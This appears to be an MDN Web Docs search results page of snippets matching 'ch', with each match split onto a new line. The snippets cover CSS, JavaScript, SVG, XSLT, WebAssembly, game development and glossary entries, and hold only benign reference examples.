ch as clicking and dragging the mouse across text).
...for people experiencing cognitive concerns or who are less te
chnologically literate, unexpected
changes to selection styles may hurt their understanding of the functionality.
...to meet current web content accessibility guidelines (wcag), text content must have a contrast ratio of 4.5:1, or 3:1 for larger text su
ch as headings.
...And 2 more matches
:dir() - CSS: Cascading Style Sheets
the :dir() css pseudo-class mat
ches elements based on the directionality of the text contained in them.
...it doesn't account for styling directionality, i.e., the directionality set by css properties su
ch as direction.
...the latter mat
ch the html dir attribute, and ignore elements that lack it — even if they inherit a direction from their parent.
...And 2 more matches
:focus-visible - CSS: Cascading Style Sheets
the :focus-visible pseudo-class applies while an element mat
ches the :focus pseudo-class and the ua (user agent) determines via heuristics that the focus should be made evident on the element.
... syntax :focus-visible examples basic example in this example, the :focus-visible selector uses the ua's behavior to determine when to mat
ch.
... class="focus-only">:focus only</button><br> <input class="focus-visible-only" value=":focus-visible only"><br> <button class="focus-visible-only">:focus-visible only</button> input, button { margin: 10px; } .focus-only:focus { outline: 2px solid black; } .focus-visible-only:focus-visible { outline: 4px dashed darkorange; } selectively showing the focus indicator a custom control, su
ch as a custom element button, can use :focus-visible to selectively apply a focus indicator only on keyboard-focus.
...And 2 more matches
:host - CSS: Cascading Style Sheets
host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot = this.atta
chshadow({mode: 'open'}); shadowroot.append
child(style); shadowroot.append
child(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':h...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internet:host
chrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63disabled disabled from version 61 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...And 2 more matches
:indeterminate - CSS: Cascading Style Sheets
the :indeterminate css pseudo-class represents any form element whose state is indeterminate, su
ch as
checkboxes whi
ch have their html indeterminate attribute set to true, radio buttons whi
ch are members of a group in whi
ch all radio buttons are un
checked, and indeterminate <progress> elements.
... /* selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } elements targeted by this selector are: <input type="
checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are un
checked <progress> elements in an indeterminate state syntax :indeterminate examples
checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields.
... html <div> <input type="
checkbox" id="
checkbox"> <label for="
checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label { background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
...And 2 more matches
:link - CSS: Cascading Style Sheets
it mat
ches every unvisited <a>, <area>, or <link> element that has an href attribute.
... working draft no
change.
... recommendation no
change.
...And 2 more matches
:target - CSS: Cascading Style Sheets
the :target css pseudo-class represents a unique element (the target element) with an id mat
ching the url's fragment.
... /* selects an element with an id mat
ching the current url's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents.
...this te
chnique relies on the ability of an
chor links to point to elements that are initially hidden on the page.
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
the font-weight property can separately be used to set how thick or thin
characters in text should be displayed.
... for a particular font family, authors can download various font faces whi
ch correspond to the different styles of the same font family, and then use the font-weight descriptor to explicitly specify the font face's weights.
... css fonts level 4 extends the syntax to accept any number between 1 and 1000, inclusive, and introduces variable fonts, whi
ch can make use of this mu
ch finer-grained range of font weights.
...And 2 more matches
URIError: malformed URI sequence - JavaScript
message urierror: the uri to be encoded contains invalid
character (edge) urierror: malformed uri sequence (firefox) urierror: uri malformed (
chrome) error type urierror what went wrong?
... examples encoding encoding replaces ea
ch instance of certain
characters by one, two, three, or four escape sequences representing the utf-8 encoding of the
character.
... an urierror will be thrown if there is an attempt to encode a surrogate whi
ch is not part of a high-low pair, for example: encodeuri('\ud800'); // "urierror: malformed uri sequence" encodeuri('\udfff'); // "urierror: malformed uri sequence" a high-low pair is ok.
...And 2 more matches
SyntaxError: missing = in const declaration - JavaScript
message syntaxerror: const must be initalized (edge) syntaxerror: missing = in const declaration (firefox) syntaxerror: missing initializer in const declaration (
chrome) error type syntaxerror what went wrong?
...it cannot
change through re-assignment, and it can't be redeclared.
...an initializer for a constant is required; that is, you must specify its value in the same statement in whi
ch it's declared (whi
ch makes sense, given that it can't be
changed later).
...And 2 more matches
SyntaxError: unterminated string literal - JavaScript
to fix this error,
check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across multiple lines.
... examples multiple lines you can't split a string across multiple lines like this in javascript: var longstring = 'this is a very long string whi
ch needs to wrap across multiple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a backslash, or template literals.
... the + operator variant looks like this: var longstring = 'this is a very long string whi
ch needs ' + 'to wrap across multiple lines because ' + 'otherwise my code is unreadable.'; or you can use the backslash
character ("\") at the end of ea
ch line to indicate that the string will continue on the next line.
...And 2 more matches
Array.prototype.flatMap() - JavaScript
the flatmap() method first maps ea
ch element using a mapping function, then flattens the result into a new array.
... return value a new array with ea
ch element being the result of the callback function and flattened to a depth of 1.
... alternative reduce() and concat() var arr = [1, 2, 3, 4]; arr.flatmap(x => [x, x * 2]); // is equivalent to arr.reduce((acc, x) => acc.concat([x, x * 2]), []); // [1, 2, 2, 4, 3, 6, 4, 8] note, however, that this is inefficient and should be avoided for large arrays: in ea
ch iteration, it creates a new temporary array that must be garbage-collected, and it copies elements from the current accumulator array into a new array instead of just adding the new elements to the existing array.
...And 2 more matches
AsyncFunction - JavaScript
in javascript, every asyn
chronous function is actually an asyncfunction object.
...ea
ch must be a string that corresponds to a valid javascript identifier or a list of su
ch strings separated with a comma; for example "x", "thevalue", or "a,b".
...this is less efficient than declaring an async function with an async function expression and calling it within your code, because su
ch functions are parsed with the rest of the code.
...And 2 more matches
Error - JavaScript
"too mu
ch recursion".
...you can handle the error using the try...cat
ch construct: try { throw new error('whoops!') } cat
ch (e) { console.error(e.name + ': ' + e.message) } handling a specific error you can
choose to handle only specific error types by testing the error type with the error's constructor property or, if you're writing for modern javascript engines, instanceof keyword: try { foo.bar() } cat
ch (e) { if (e instanceof evalerror) { console...
...etc } custom error types you might want to define your own error types deriving from error to be able to throw new myerror() and use instanceof myerror to
check the kind of error in the exception handler.
...And 2 more matches
Intl.Locale.prototype.calendar - JavaScript
the intl.locale.prototype.calendar property is an accessor property whi
ch returns the type of calendar used in the locale.
... unicode calendar keys unicode calendar keys calendar key (name) description buddhist thai buddhist calendar
chinese traditional
chinese calendar coptic coptic calendar dangi traditional korean calendar ethioaa ethiopic calendar, amete alem (epo
ch approx.
... 5493 b.c.e) ethiopic ethiopic calendar, amete mihret (epo
ch approx, 8 c.e.) gregory gregorian calendar hebrew traditional hebrew calendar indian indian calendar islamic islamic calendar islamic-umalqura islamic calendar, umm al-qura islamic-tbla islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - astronomical epo
ch) islamic-civil islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - civil epo
ch) islamic-rgsa islamic calendar, saudi arabia sighting iso8601 iso calendar (gregorian calendar using the iso 8601 calendar week rules) japanese japanese imperial calendar persian persian calendar ro...
...And 2 more matches
Object.assign() - JavaScript
syntax object.assign(target, ...sources) parameters target the target object — what to apply the sources’ properties to, whi
ch is returned after it is modified.
... in case of an error, for example if a property is non-writable, a typeerror is raised, and the target object is
changed if any properties are added before the error is raised.
... , b: { c: 0}}; let obj3 = json.parse(json.stringify(obj1)); obj1.a = 4; obj1.b.c = 4; console.log(json.stringify(obj3)); // { "a": 0, "b": { "c": 0}} } test(); merging objects const o1 = { a: 1 }; const o2 = { b: 2 }; const o3 = { c: 3 }; const obj = object.assign(o1, o2, o3); console.log(obj); // { a: 1, b: 2, c: 3 } console.log(o1); // { a: 1, b: 2, c: 3 }, target object itself is
changed.
...And 2 more matches
Object.entries() - JavaScript
(the only important difference is that a for...in loop enumerates properties in the prototype
chain as well).
...bject.entries) { object.entries = function( obj ){ var ownprops = object.keys( obj ), i = ownprops.length, resarray = new array(i); // preallocate the array while (i--) resarray[i] = [ownprops[i], obj[ownprops[i]]]; return resarray; }; } for the above polyfill code snippet, if you need support for ie<9, then you will also need an object.keys() polyfill (su
ch as the one found on the object.keys page).
...ole.log(object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ] // array like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ] // array like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.entries(anobj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ] // getfoo is property whi
ch isn't enumerable const myobj = object.create({}, { getfoo: { value() { return this.foo; } } }); myobj.foo = 'bar'; console.log(object.entries(myobj)); // [ ['foo', 'bar'] ] // non-object argument will be coerced to an object console.log(object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] // returns an empty array for any primitive type, since primitives have no own properties cons...
...And 2 more matches
Object.getOwnPropertyDescriptors() - JavaScript
syntax object.getownpropertydescriptors(obj) parameters obj the object for whi
ch to get all own property descriptors.
... writable true if and only if the value associated with the property may be
changed (data descriptors only).
... get a function whi
ch serves as a getter for the property, or undefined if there is no getter (accessor descriptors only).
...And 2 more matches
Object.isFrozen() - JavaScript
syntax object.isfrozen(obj) parameters obj the object whi
ch should be
checked.
... description an object is frozen if and only if it is not extensible, all its properties are non-configurable, and all its data properties (that is, properties whi
ch are not accessor properties with getter or setter components) are non-writable.
...object.isfrozen({}); // === false // an empty object whi
ch is not extensible // is vacuously frozen.
...And 2 more matches
handler.setPrototypeOf() - JavaScript
return value the setprototypeof() method returns true if the [[prototype]] was successfully
changed, otherwise false.
... approa
ch 1: returning false this approa
ch means that any mutating operation that throws an exception on failure to mutate, must create the exception itself.
... if the mutation is performed by an operation that doesn't ordinarily throw in case of failure, su
ch as reflect.setprototypeof(), no exception will be thrown.
...And 2 more matches
TypedArray.from() - JavaScript
description typedarray.from() lets you create typed arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects where you can get its elements, su
ch as map and set).
... typedarray.from() has the optional parameter mapfn, whi
ch allows you to execute a map() function on ea
ch element of the typed array (or subclass object) that is being created.
...array.from() sets ea
ch value as it receives them from the iterator, then sets its length at the end.
...And 2 more matches
WebAssembly.CompileError() constructor - JavaScript
the webassembly.compileerror() constructor creates a new webassembly compileerror object, whi
ch indicates an error during webassembly decoding or validation.
... examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } cat
ch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
WebAssembly.CompileError - JavaScript
examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } cat
ch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the cod...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserver
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerror
chrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57
chrome andro...
...And 2 more matches
dy - SVG: Scalable Vector Graphics
if there are multiple values, dy defines a shift along the y-axis for ea
ch individual glyph relative to the preceding glyph.
... if there are multiple values, dy defines a shift along the y-axis for ea
ch individual glyph relative to the preceding glyph.
....w3.org/2000/svg"> <!-- horizontal lines --> <line x1="0" x2="100%" y1="30" y2="30" /> <line x1="0" x2="100%" y1="40" y2="40" /> <line x1="0" x2="100%" y1="50" y2="50" /> <line x1="0" x2="100%" y1="60" y2="60" /> <!-- vertical lines --> <line x1="10" x2="10" y1="0" y2="100%" /> <line x1="50" x2="50" y1="0" y2="100%" /> <line x1="90" x2="90" y1="0" y2="100%" /> <!-- behaviors
change based on the number of values in the attributes --> <text dy="20" x="10" y="30">svg</text> <text dy="0 10" x="50" y="30">svg</text> <text dy="0 10 20" x="90" y="30">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used.
...And 2 more matches
font-family - SVG: Scalable Vector Graphics
the font-family attribute indicates whi
ch font family will be used to render the text, specified as a prioritized list of font family names and/or generic family names.
... candidate recommendation no significant
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
font-style - SVG: Scalable Vector Graphics
working draft no
change css fonts module level 3the definition of 'font-style' in that specification.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
glyph-orientation-vertical - SVG: Scalable Vector Graphics
the glyph-orientation-vertical attribute affects the amount that hte current text position advances as ea
ch glyph is rendered.
...ideographic punctuation and other ideographic
characters having alternate horizontal and vertical forms will use the vertical form of the glyph.
... text whi
ch is not fullwidth will be set with a glyph orientation of 90 degrees.
...And 2 more matches
gradientUnits - SVG: Scalable Vector Graphics
objectboundingbox this value indicates that the user coordinate system for the attributes is established using the bounding box of the element to whi
ch the gradient is applied and then applying the transform specified by attribute gradienttransform.
...when the object's bounding box is not square, the gradient normal whi
ch is initially perpendicular to the gradient vector within object bounding box space may render non-perpendicular relative to the gradient vector in user space.
... objectboundingbox for <radialgradient>: the user coordinate system for attributes cx, cy, r, fx, fy, and fr is established using the bounding box of the element to whi
ch the gradient is applied (see object bounding box units) and then applying the transform specified by attribute gradienttransform.
...And 2 more matches
path - SVG: Scalable Vector Graphics
the path attribute has two different meanings, either it defines a text path along whi
ch the
characters of a text are rendered, or a motion path along whi
ch a referenced element is animated.
... value <path-data> default value none animatable no <path-data> this value defines the motion path along whi
ch the referenced element is animated.
... textpath for <textpath>, path defines the path onto whi
ch the glyphs of a <text> element will be rendered.
...And 2 more matches
points - SVG: Scalable Vector Graphics
ea
ch point is defined by a pair of number representing a x and a y coordinate in the user coordinate system.
... --> </svg> polyline for <polyline>, points defines a list of points, ea
ch representing a vertex of the line to be drawn.
... ea
ch point is define by a x and y coordinate in the user coordinate system.
...And 2 more matches
shape-rendering - SVG: Scalable Vector Graphics
to a
chieve crisp edges, the user agent might turn off anti-aliasing for all lines and curves or possibly just for straight lines whi
ch are close to vertical or horizontal.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
text-rendering - SVG: Scalable Vector Graphics
the user agent will often
choose whether to apply anti-aliasing te
chniques, built-in font hinting or both to produce the most legible text.
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
textLength - SVG: Scalable Vector Graphics
the textlength attribute, available on svg <text> and <tspan> elements, lets you specify the width of the space into whi
ch the text will draw.
...by default, only the spacing between
characters is adjusted, but the glyph size can also be adjusted if you
change lengthadjust.
... html the html is also simple, with only two displayed elements contained inside a grouping <div>: <div class="controls"> <input type="range" id="widthslider" min="80" max="978"> <span id="widthdisplay"></span> </div> the <input> element, of type "range", is used to create the slider control the user will manipulate to
change the width of the text.
...And 2 more matches
transform - SVG: Scalable Vector Graphics
the transform attribute defines a list of transform definitions that are applied to an element and the element's
children.
... as a presentation attribute, transform can be used by any element (in svg 1.1, only these 16 elements were allowed to use it: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <swit
ch>, <text>, and <use>).
... also, as a legacy from svg 1.1, <lineargradient> and <radialgradient> support the gradienttransform attribute, and <pattern> supports the patterntransform attribute, both of whi
ch act exactly like the transform attribute.
...And 2 more matches
vector-effect - SVG: Scalable Vector Graphics
the default rendering behaviour is used whi
ch is to first fill the geometry of a shape with a specified paint, then stroke the outline with a specified paint.
...the scale of that user coordinate system does not
change in spite of any transformation
changes from a host coordinate space.
...since this value suppresses scaling of the user coordinate system, it also has the
characteristics of non-scaling-stroke.
...And 2 more matches
<clipPath> - SVG: Scalable Vector Graphics
a clipping path restricts the region to whi
ch paint can be applied.
... --> <use clip-path="url(#myclip)" xlink:href="#heart" fill="red" /> </svg> /* with a tou
ch of css for browsers who * * implemented the r geometry property.
...the bounding box of a clipped element (meaning, an element whi
ch references a <clippath> element via a clip-path property, or a
child of the referencing element) must remain the same as if it were not clipped.
...And 2 more matches
<text> - SVG: Scalable Vector Graphics
value type: <length>|<percentage> ; default value: none; animatable: yes rotate rotates orientation of ea
ch individual glyph.
... value type: <list-of-number> ; default value: none; animatable: yes lengthadjust how the text is stret
ched or compressed to fit the width defined by the textlength attribute.
... value type: <length>|<percentage> ; default value: none; animatable: yes global attributes core attributes most notably: id, tabindex styling attributes class, style, font-family, font-size, font-size-adjust, font-stret
ch, font-style, font-variant, font-weight conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-rendering, cursor, display, dominant-baseline, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke...
...And 2 more matches
Scripting - SVG: Scalable Vector Graphics
or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, whi
ch is to go back to the previous page.
... function myrect(x,y,w,h,message){ this.message=message this.rect=document.createelementns("http://www.w3.org/2000/svg","rect") this.rect.setattributens(null,"x",x) this.rect.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.append
child(this.rect) this.rect.addeventlistener("click",this,false) this.handleevent= function(evt){ swit
ch (evt.type){ case "click": alert(this.message) break; } } } inter-document scripting: referencing embedded svg when using svg within html, adobe's svg viewer 3.0 automatically includes a window property called svgdocument that points to the svg document.
...ment representing an svg document is to look at htmliframeelement.contentdocument (if the document is presented in an <iframe>) or htmlobjectelement.contentdocument (if the document is presented in an <object> element), like this: var svgdoc = document.getelementbyid("iframe_element").contentdocument; in addition, the <iframe>, <embed>, and <object> elements offer a method, getsvgdocument(), whi
ch returns the xmldocument representing the element's embedded svg or null if the element doesn't represent an svg document.
...And 2 more matches
Secure contexts - Web security
a secure context is a window or worker for whi
ch certain minimum standards of authentication and confidentiality are met.
... get access to data su
ch as user credentials.
...that’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with whi
ch it is associated — and not whether a non-secure context happened to be used to create it.
...And 2 more matches
Axes - XPath
child indicates the
children of the context node.
...since only the root node or element nodes have
children, any other use will select nothing.
... descendant indicates all of the
children of the context node, and all of their
children, and so forth.
...And 2 more matches
<xsl:key> - XSLT: Extensible Stylesheet Language Transformations
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:key> element declares a named key whi
ch can be used elsewhere in the stylesheet with the key( ) function.
... syntax <xsl:key name=name mat
ch=expression use=expression /> required attributes name specifies a name for this key.
... mat
ch defines the nodes for whi
ch this key is applicable.
...And 2 more matches
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
no syntax
checking is done on the attribute, however if it is not a valid ncname it will never mat
ch any parameter in the stylesheet.
...no syntax
checking is done on the attribute.
... note that value="..." is not strictly equal to select="'...'" since the value can contain both apostrophe and quote
characters.
...And 2 more matches
Basic Example - XSLT: Extensible Stylesheet Language Transformations
</myns:body> </myns:article> figure 5 : xslt stylesheet <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template mat
ch="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dotted #639ace; padding:0 5px 0 5px;} </style> </head> <body> <p class="mybox"> <span class="title"> <xsl:value-of select="/myns:artic...
...le/myns:title"/> </span> <br /> authors: <br /> <xsl:apply-templates select="/myns:article/myns:authors/myns:author"/> </p> <p class="mybox"> <xsl:apply-templates select="//myns:body"/> </p> </body> </html> </xsl:template> <xsl:template mat
ch="myns:author"> -- <xsl:value-of select="." /> <xsl:if test="@company"> :: <b> <xsl:value-of select="@company" /> </b> </xsl:if> <br /> </xsl:template> <xsl:template mat
ch="myns:body"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> <xsl:template mat
ch="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> </xsl:styleshee...
...t> the example loads using syn
chronous xmlhttprequest both the .xsl (xslstylesheet) and the .xml (xmldoc) files into memory.
...And 2 more matches
XSLT: Extensible Stylesheet Language Transformations
although the process is referred to as "transformation," the original document is not
changed; rather, a new xml document is created based on the content of an existing document.
... then, the new document may be serialized (output) by the processor in standard xml syntax or in another format, su
ch as html or plain text.
... xslt is most often used to convert data between different xml s
chemas or to convert xml data into web pages or pdf documents.
...And 2 more matches
Index - WebAssembly
found 12 pages: # page tags and summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages su
ch as c/c++ with a compilation target so that they can run on the web.
... 2 ca
ching compiled webassembly modules ca
ching, indexeddb, javascript, module, webassembly, compile, wasm ca
ching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... 8 index index, webassembly found 12 pages: 9 loading and running webassembly code fet
ch, javascript, webassembly, xmlhttprequest, bytecode to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation.
...And 2 more matches
Publishing games - Game development
html5 games have a huge advantage over native in terms of publishing and distribution — you have the freedom of distribution, promotion and monetization of your game on the web, rather than ea
ch version being locked into a single store controlled by one company.
...you have to let the world know that you have made something interesting available, whi
ch people will enjoy playing.
... there are many game promotion te
chniques — many of them free — so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
...the te
chnology is mature enough; it's just a matter of
chosing the right approa
ch.
Async scripts for asm.js - Game development
in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and ca
che the generated ma
chine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28).
... putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.append
child(script); (scripts created from script default to async.) the default html shell emscripten generates produces the latter.
... two common situations in whi
ch a script is *not* async (as defined by the html spec) are: <script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.append
child(script); both are counted as 'inline' scripts and get compiled and then run immediately.
...instead of using eval or innerhtml, both of whi
ch trigger syn
chronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.revokeobjecturl(url); }; script.src = url; document.body.append
child(script); the setting of src rather than innerhtml is what makes this script async.
Tools for game development - Game development
on this page you can find links to our game development tools articles, whi
ch eventually aims to cover frameworks, compilers, and debugging tools.
... asm.js asm.js is a very limited subset of the javascript language, whi
ch can be greatly optimized and run in an ahead-of-time (aot) compiling engine for mu
ch faster performance than your typical javascript performance.
... tool
chain for developing and debugging games how does this differ from normal web app debugging?
...a lot of this is going to be covered by will in tools, but here we should provide a kind of practical tool
chain tutorial for debugging games, with links to will's stuff: basic tools overview shader editor performance tools (still in production, estimated early 2014) ...
Game over - Game development
to make the game more interesting we can introduce the ability to lose — if you don't hit the ball before it rea
ches the bottom edge of the screen it will be game over.
...add the code below inside the create() function; just after you define the ball's attributes is fine: game.physics.arcade.
checkcollision.down = false; this will make the three walls (top, left and right) bounce the ball back, but the fourth (bottom) will disappear, letting the ball fall off the screen if the paddle misses it.
...add the following lines just below the previous new one: ball.
checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball
check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event.
... compare your code you can
check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now the basic gameplay is in place let's make it more interesting by introducing bricks to smash — it's time to build the brick field.
Initialize the framework - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta
charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} fun...
...
choose an option that suits you best — i would recommend the min.js option as it keeps the source code smaller, and you are unlikely need to go through the source code anyway.
... walking through what we have so far at this point we have a
charset defined, <title> and some basic css in the header to reset the default margin and padding.
...we can set one of the latter two explicitly or use auto to let phaser decide whi
ch one to use.
Move the ball - Game development
updating the ball's position on ea
ch frame remember the update() function and its definition?
...add the following new lines of the code inside update(), as shown: function update() { ball.x += 1; ball.y += 1; } the code above adds 1 to the x and y properties representing the the ball coordinates on the canvas, on ea
ch frame.
... compare your code you can
check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps the next step is to add some basic collision detection, so our ball can bounce off the walls.
... this would take several lines of code — a significantly more complex step than we have seen so far, especially if we want to add paddle and brick collisions too — but fortunately phaser allows us to do this mu
ch more easily than if we wanted to use pure javascript.
Tutorials - Game development
along the way you will learn the basics of using the <canvas> element to implement fundamental game me
chanics like rendering and moving images, collision detection, control ma
chanisms, and winning and losing states.
...this idea here is to tea
ch some of the fundamentals (and advantages) of working with frameworks, along with fundamental game me
chanics.
... 2d maze game with device orientation this tutorial shows how to create a 2d maze game using html5, incorporating fundamentals su
ch as collision detection and sprite placement on a <canvas>.
... 2d platform game with phaser this tutorial series shows how to create a simple platform game using phaser, covering fundamentals su
ch as sprites, collisions, physics, collectables, and more.
API - MDN Web Docs Glossary: Definitions of Web-related terms
the api can be seen as a simple contract (the interface) between the application offering it and other items, su
ch as third party software or hardware.
... for example: the getusermedia api can be used to grab audio and video from a user's webcam, whi
ch can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills from the video.
...gps), whi
ch can then be used in conjunction with the google maps apis to for example plot the user's location on a custom map and show them what tourist attractions are in their area.
... learn more general knowledge api on wikipedia te
chnical reference web api reference ...
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
base64 is a group of similar binary-to-text encoding s
chemes that represent binary data in an ascii string format by translating it into a radix-64 representation.
... base64 encoding s
chemes are commonly used when there is a need to encode binary data that needs to be stored and transferred over media that are designed to deal with ascii.
... note that btoa() expects to be passed binary data, and will throw an exception if the given string contains any
characters whose utf-16 representation occupies more than one byte.
... encoded size increase ea
ch base64 digit represents exactly 6 bits of data.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
a style declaration contains the properties and their values, whi
ch determine how a webpage looks.
... css is one of the three core web te
chnologies, along with html and javascript.
...*/ background-color: black } "cascading" refers to the rules that govern how selectors are prioritized to
change a page's appearance.
... learn more general knowledge learn css css on wikipedia te
chnical reference the css documentation on mdn the css working group current work ...
CSS Object Model (CSSOM) - MDN Web Docs Glossary: Definitions of Web-related terms
the css object model (cssom) is a map of all css selectors and relevant properties for ea
ch selector in the form of a tree, with a root node, sibling, descendant,
child, and other relationship.
...both of them are part of the critical rendering path whi
ch is a series of steps that must happen to properly render a website.
... the cssom, together with the dom, to build the render tree, whi
ch is in turn used by the browser to layout and paint the web page.
...it is mu
ch like the dom, but for the css rather than the html.
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
a css selector is the part of a css rule that describes what elements in a document the rule will mat
ch.
... the mat
ching elements will have the rule's specified style applied to them.
... consider this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white; background-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (whi
ch applies the color green to the text inside any <p> element), "div.warning" (whi
